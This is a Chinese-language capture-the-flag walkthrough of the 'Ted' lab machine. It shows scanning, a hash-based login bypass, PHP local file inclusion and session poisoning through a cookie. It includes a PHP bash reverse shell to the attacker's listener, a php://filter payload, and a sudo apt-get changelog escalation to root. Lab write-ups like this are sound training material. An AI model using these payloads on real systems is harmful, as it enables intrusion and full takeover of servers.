Ted 靶机难度比预想的高一丢丢,主要考察了 PHP 环境下对网站登录过程、cookie 和 session 的理解,以及如何使用本地文件包含漏洞来 getshell,提权方面倒是比较简单。没有兔子洞的一台靶机,可观察到的攻击面很窄,对于渗透技巧的练习来说是台好机器
信息收集1 2 3 4 5 6 7 8 9 10 11 ┌──(kali㉿kali)-[~/Downloads/Ted] └─$ sudo nmap --min-rate 10000 -p- 192.1.1.139 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-04 04:17 EDT Nmap scan report for 192.1.1.139 Host is up (0.00042s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http MAC Address: 00:0C:29:39:9B:B3 (VMware) Nmap done : 1 IP address (1 host up) scanned in 8.52 seconds
BASH
只有 80 端口开放?看看 UDP 扫描结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ┌──(kali㉿kali)-[~/Downloads/Ted] └─$ sudo nmap --top-ports 20 -sU 192.1.1.139 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-04 04:20 EDT Nmap scan report for 192.1.1.139 Host is up (0.00036s latency). PORT STATE SERVICE 53/udp closed domain 67/udp closed dhcps 68/udp open|filtered dhcpc 69/udp closed tftp 123/udp closed ntp 135/udp closed msrpc 137/udp closed netbios-ns 138/udp closed netbios-dgm 139/udp closed netbios-ssn 161/udp closed snmp 162/udp closed snmptrap 445/udp closed microsoft-ds 500/udp closed isakmp 514/udp closed syslog 520/udp closed route 631/udp open|filtered ipp 1434/udp closed ms-sql-m 1900/udp closed upnp 4500/udp closed nat-t-ike 49152/udp closed unknown MAC Address: 00:0C:29:39:9B:B3 (VMware) Nmap done : 1 IP address (1 host up) scanned in 24.62 seconds
BASH
看来大概率只有 80 端口开放,使用 nmap 进行版本探查、服务详情和默认脚本扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ┌──(kali㉿kali)-[~/Downloads/Ted] └─$ sudo nmap -sT -sV -sC -O -p80 192.1.1.139 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-04 04:19 EDT Nmap scan report for 192.1.1.139 Host is up (0.00037s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Login |_http-server-header: Apache/2.4.18 (Ubuntu) MAC Address: 00:0C:29:39:9B:B3 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type : general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address (1 host up) scanned in 14.45 seconds
BASH
Ubuntu 操作系统,80 端口是登录界面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ┌──(kali㉿kali)-[~/Downloads/Ted] └─$ sudo nmap -script=vuln -p80 192.1.1.139 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-04 04:20 EDT Nmap scan report for 192.1.1.139 Host is up (0.00063s latency). PORT STATE SERVICE 80/tcp open http |_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities. |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) |_http-dombased-xss: Couldn\' t find any DOM based XSS. | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.1.1.139 | Found the following possible CSRF vulnerabilities: | | Path: http://192.1.1.139:80/ | Form id : username | Form action: authenticate.php | | Path: http://192.1.1.139:80/authenticate.php | Form id : username |_ Form action: authenticate.php |_http-phpself-xss: ERROR: Script execution failed (use -d to debug) MAC Address: 00:0C:29:39:9B:B3 (VMware) Nmap done : 1 IP address (1 host up) scanned in 327.84 seconds
BASH
漏洞脚本扫描也没什么结果,目录爆破一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 ┌──(kali㉿kali)-[~/Downloads/Ted] └─$ sudo dirsearch -u http://192.1.1.139 _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927 Output File: /root/.dirsearch/reports/192.1.1.139/_23-08-04_04-27-52.txt Error Log: /root/.dirsearch/logs/errors-23-08-04_04-27-52.log Target: http://192.1.1.139/ [04:27:52] Starting: [04:27:53] 403 - 297B - /.ht_wsr.txt [04:27:53] 403 - 300B - /.htaccess.orig [04:27:53] 403 - 300B - /.htaccess.bak1 [04:27:53] 403 - 300B - /.htaccess.save [04:27:53] 403 - 299B - /.htaccessOLD2 [04:27:53] 403 - 302B - /.htaccess.sample [04:27:53] 403 - 298B - /.htaccess_sc [04:27:53] 403 - 301B - /.htaccess_extra [04:27:53] 403 - 298B - /.htaccessOLD [04:27:53] 403 - 300B - /.htaccess_orig [04:27:53] 403 - 290B - /.htm [04:27:53] 403 - 298B - /.htaccessBAK [04:27:53] 403 - 291B - /.html [04:27:53] 403 - 296B - /.htpasswds [04:27:53] 403 - 300B - /.htpasswd_test [04:27:53] 403 - 297B - /.httr-oauth [04:27:54] 403 - 290B - /.php [04:27:54] 403 - 291B - /.php3 [04:28:04] 302 - 31B - /authenticate.php -> index.php [04:28:07] 302 - 0B - /cookie.php -> index.html [04:28:11] 302 - 0B - /home.php -> index.html [04:28:11] 200 - 669B - /index.php [04:28:12] 200 - 669B - /index.php/login/ [04:28:14] 302 - 0B - /logout.php -> index.php [04:28:20] 403 - 299B - /server-status [04:28:20] 403 - 300B - /server-status/
BASH
目录爆破发现的目录很有限,并且都跳转到了登录界面,那只能对着登录框进行下一步尝试了
Web 渗透登录界面的源代码也很简洁
尝试是否存在 sql 注入,sqlmap 一把梭,没结果
那就先抓个包看看,实在不行就只能密码爆破了,先试试弱密码 root:root
竟然有提示用户名错误,换个用户名 admin
试试
提示密码或者密码哈希不正确,再换个弱口令,几次尝试后发现,当密码为 admin 时,返回的结果是密码哈希值不正确
1 Password hash is not correct, make sure to hash it before submit.
APPLESCRIPT
接下来尝试了几种哈希,网站是散列加密 | 哈希加密 |哈希解密 | 散列解密 (sojson.com)
但是均失败了,然后尝试在线运行的 php 程序调用默认的哈希函数,参考了这篇文章的代码简单的PHP注册登录密码加密_php加密登录_炼气三千年的白起的博客-CSDN博客
还是失败,接下来又考虑了开发逻辑,哈希值也可能是 js 加密后发给后端的,那我是不是要在 POST 体中多加一个哈希值的变量,但是我并不知道哈希值变量的名字应该是什么,由于前后端解析上对于变量名的接收肯定是需要一致的,所以在这里纠结了很久,最后看了眼 WP,发现我不成功的原因是哈希值大小写的问题
使用 SHA256 算法哈希后的结果改为大写,也就是 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
使用这个哈希值作为 password 即可登录成功
登陆后的界面也是一如既往地简洁(简单),没有什么复杂的逻辑,只有两个可查看界面,home.php 和 cookie.php
home.php 中有一个搜索框,是通过 POST 方法发送的,简单尝试了一下似乎并不存在 sql 注入。
本地文件包含使用 burp 抓包一下,burp 的 intrude 模块中有 fuzz 的字典,尝试使用这个字典跑一下
意外发现这里竟然是个本地文件包含的漏洞,也可以看到 passwd 文件,找了一些文件路径试了试,用的是 burp 自带的字典和文件读取漏洞路径收集_PD_3569的博客-CSDN博客 中的字典
收获并不大。自己又尝试了一下,这个本地文件包含漏洞会自动解析运行 php 文件,因此当访问 logout.php
时会自动退出登录。顺便试了一下不存在远程文件包含漏洞
翻看了 cookie.php,得到的信息并不多,或许是个暗示,这里提到了 Cookies can be "persistent" or "session" cookies.
尝试了一下存不存在 cookie 注入,并没有
本地文件包含 + session 实现 Getshell搜一搜 本地文件包含+getshell
第一个链接中思路还挺全的,跟着尝试了一下,下面是有效的 PoC
1 php:// filter/read=convert.base64-encode/ resource=filename
AWK
cookie 中 user_pref 的值被赋值给了 session 的 user_pref,之前尝试直接删除 cookie 中的 user_pref 没什么影响,搜索结果中本地包含的文件还是可以正常显示。先回到文章中的方法边看边尝试吧
日志文件似乎也是可以考虑的,不过刚才使用字典并没有跑出来日志文件的路径。而网站也没有提供文件上传的地方,phpinfo 文件也不存在,更没办法直接通过伪协议来执行 phpinfo() 函数
文章在 session+LFI getshell 部分使用的方法和当前场景好像不是很相符,不过有个点是我之前所不知道的,也就是 session 写入到临时文件中,尝试按照文章中给的路径来访问文件(这里一开始我去了 Auto_Wordlists/wordlists/file_inclusion_linux.txt at main · carlospolop/Auto_Wordlists (github.com) 来找 session 的路径,但是 GitHub 上的这个路径是 /var/lib/php/session/sess_<sessid>
实际上中间的路径应该为 sessions
,在此给自己提个醒)
访问成功了,文件内容并没有被清空。而且 user_pref 的值被写入到了文件中,这里是不是可以直接通过可控的 cookie 中的 user_pref 的值来 getshell,从而不需要像文章中那样构造条件竞争(因为文章中不是 user_pref 可控而是表单的值可控,而且文章中的场景是 post 请求结束文件内容会被清空)
这里我们需要将 php 反弹 shell 的代码写入到 user_pref 的值
1 <?php exec ("/bin/bash -c 'bash -i >& /dev/tcp/192.1.1.128/443 0>&1'" ) ?>
PHP
点击一下没反应,点击了两三下反弹成功了
1 2 3 4 5 6 7 8 ┌──(kali㉿kali)-[~/Downloads/Ted] └─$ sudo nc -lvnp 443 [sudo] password for kali: listening on [any] 443 ... connect to [192.1.1.128] from (UNKNOWN) [192.1.1.139] 55052 bash: cannot set terminal process group (1571): Inappropriate ioctl for device bash: no job control in this shell www-data@ubuntu:/var/www/html$
BASH
提权完善 shell 并进行最基础的立足点确认和信息收集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 www-data@ubuntu:/var/www/html$ python -c "import pty;pty.spawn('/bin/bash')" python -c "import pty;pty.spawn('/bin/bash')" www-data@ubuntu:/var/www/html$ whoami whoami www-data www-data@ubuntu:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups =33(www-data) www-data@ubuntu:/var/www/html$ uname -auname -a Linux ubuntu 4.4.0-21-generic www-data@ubuntu:/var/www/html$ ip a ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link /loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link /ether 00:0c:29:39:9b:b3 brd ff:ff:ff:ff:ff:ff inet 192.1.1.139/24 brd 192.1.1.255 scope global dynamic ens33 valid_lft 1092sec preferred_lft 1092sec inet6 fe80::524c:6803:d03d:c6c3/64 scope link valid_lft forever preferred_lft forever www-data@ubuntu:/var/www/html$ sudo -l sudo -l Matching Defaults entries for www-data on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on ubuntu: (root) NOPASSWD: /usr/bin/apt-get
BASH
sudo -l
发现意外收获(以前一直觉得 www-data 用户的 sudo -l
没法不用密码得到返回)
使用 gtfobins 来找一下 exploit
使用第一个竟然还会下载,下载后使用 !/bin/sh
开启 root 的 shell
1 2 3 4 5 6 7 8 9 10 11 12 13 www-data@ubuntu:/var/www/html$ sudo /usr/bin/apt-get changelog apt sudo /usr/bin/apt-get changelog apt Get:1 http://changelogs.ubuntu.com apt 1.2.35 Changelog [413 kB] Fetched 413 kB in 3s (133 kB/s) WARNING: terminal is not fully functional /tmp/apt-changelog-LZOMs0/apt.changelog (press RETURN)!/bin/sh !/bin/shwhoami rootid uid=0(root) gid=0(root) groups =0(root)
BASH
成功获取到 root 权限
1 2 3 4 5 6 7 8 9 10 11 12 13 cd /rootls -laih total 40K 131075 drwx------ 3 root root 4.0K Jul 16 2019 . 2 drwxr-xr-x 24 root root 4.0K Jul 15 2019 .. 141393 -rw------- 1 root root 2.7K Jul 16 2019 .bash_history 134030 -rw-r--r-- 1 root root 3.1K Oct 22 2015 .bashrc 134029 drwx------ 2 root root 4.0K Apr 20 2016 .cache 131475 -rw------- 1 root root 1.3K Jul 15 2019 .mysql_history 134031 -rw-r--r-- 1 root root 148 Aug 17 2015 .profile 131473 -rw------- 1 root root 9.2K Jul 16 2019 .viminfo
BASH
不过没有 flag
补充 哈希值的大小写问题PHP 中
一般场景
session + LFI 实现Getshell除了文中主要参考的那篇文章,这篇文章写得也不错,而且关于原理说得更清楚php文件包含漏洞Getshell的不同姿势-安全客 - 安全资讯平台 (anquanke.com)
这里使用了 session 来保存用户会话,php手册 中是这样描述的:
PHP 会将会话中的数据设置到 $_SESSION
变量中。 当 PHP 停止的时候,它会自动读取 $_SESSION
中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。 对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path
所指定的位置。
除此之外还有个小问题,就是 session 常见的存储路径,两篇文章中给的存储路径不太一样,问了下 chatgpt
文章中还提到了和这台靶机相似的场景
要包含并利用的话,需要能控制部分session文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
当然文中的场景更加复杂,尤其是关于 base64 编码那部分,思路很值得学习
参考浅析php文件包含及其getshell的姿势 - 先知社区 (aliyun.com)
简单的PHP注册登录密码加密_php加密登录_炼气三千年的白起的博客-CSDN博客
文件读取漏洞路径收集_PD_3569的博客-CSDN博客
php文件包含漏洞Getshell的不同姿势-安全客 - 安全资讯平台 (anquanke.com)